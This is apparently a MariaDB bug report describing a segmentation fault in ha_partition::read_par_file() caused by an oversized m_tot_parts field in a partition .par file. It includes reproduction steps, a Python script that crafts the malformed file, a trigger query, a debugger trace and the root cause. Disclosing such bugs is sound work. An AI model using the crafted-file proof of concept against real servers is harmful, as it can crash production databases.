Details
-
Bug
-
Status: Open (View Workflow)
-
Minor
-
Resolution: Unresolved
-
12.0.0
-
Ubuntu 20.04 (x86_64); kernel 5.15.0-136-generic
Description
MariaDB crashes with a segmentation fault (SIGSEGV) when a partitioned table’s .par file contains a crafted m_tot_parts field with a very large value (e.g., 0xFFFFFFF0). This causes an out-of-bounds read in ha_partition::read_par_file(), ultimately leading to an invalid memory access.
Steps to Reproduce:
1. Create a minimal my.cnf:
port=3307
|
socket=/tmp/mariadb.sock
|
datadir=/tmp/mariadb-data
|
skip-networking
|
skip-grant-tables
|
log-error=/tmp/mariadb-test/mysqld.log
|
2. Fake-initialize a MariaDB datadir without running mysql_install_db:
mkdir -p /tmp/mariadb-data/mysql
|
touch /tmp/mariadb-data/mysql/user.frm
|
3. Start mariadbd under a debugger with a fake partitioned table and malformed .par file
4. Create a testdb.test_table table:
CREATE DATABASE testdb; |
USE testdb; |
CREATE TABLE test_table ( |
id INT NOT NULL, |
name VARCHAR(50) |
) ENGINE = InnoDB
|
PARTITION BY HASH(id) PARTITIONS 4; |
5. Replace test_table.par with a crafted file:
import struct |
def uint4(x): return struct.pack("<I", x) |
def uint4u(x): return struct.unpack("<I", x)[0] |
buf = bytearray(32) |
buf[0:4] = uint4(8) |
buf[4:8] = uint4(0xFFFFFFF0) |
for i, val in enumerate([0x41414141, 0x42424242, 0x43434343, 0x44444444, 0x45454545, 0x46464646]): |
buf[8+i*4:12+i*4] = uint4(val) |
chk = 0 |
for i in range(0, len(buf), 4): |
chk ^= uint4u(buf[i:i+4]) |
buf[-4:] = uint4(uint4u(buf[-4:]) ^ chk) |
|
|
with open("/tmp/mariadb-data/testdb/test_table.par", "wb") as f: |
f.write(buf)
|
6. Trigger a query
mysql -S /tmp/mariadb.sock -u root -e "SELECT * FROM testdb.test_table;"
|
7. Observe the crash:
[New Thread 0x7fffcd0c2700 (LWP 9543)]
|
[*] Writing malicious .par file...
|
[*] Triggering SELECT on testdb.test_table...
|
|
|
Thread 13 "one_connection" received signal SIGSEGV, Segmentation fault.
|
[Switching to Thread 0x7fffcd0c2700 (LWP 9543)]
|
0x0000000001e00080 in ha_partition::read_par_file (this=0x62500025b040, name=<optimized out>) at /server/sql/ha_partition.cc:3183
|
3183 tot_name_words= (uint4korr(tot_name_len_offset) + PAR_WORD_SIZE - 1) /
|
8. Technical Root Cause
In read_par_file() (file: sql/ha_partition.cc, 3183):
tot_name_len_offset= file_buffer + PAR_ENGINES_OFFSET +
|
PAR_WORD_SIZE * tot_partition_words;
|
tot_name_words= (uint4korr(tot_name_len_offset) + PAR_WORD_SIZE - 1) /
|
PAR_WORD_SIZE;
|
/*
|
No sanity checks exist for m_tot_parts. If this value is large (e.g., 0xFFFFFFF0), the offset will point far beyond file_buffer, causing undefined behavior and a segmentation fault on access.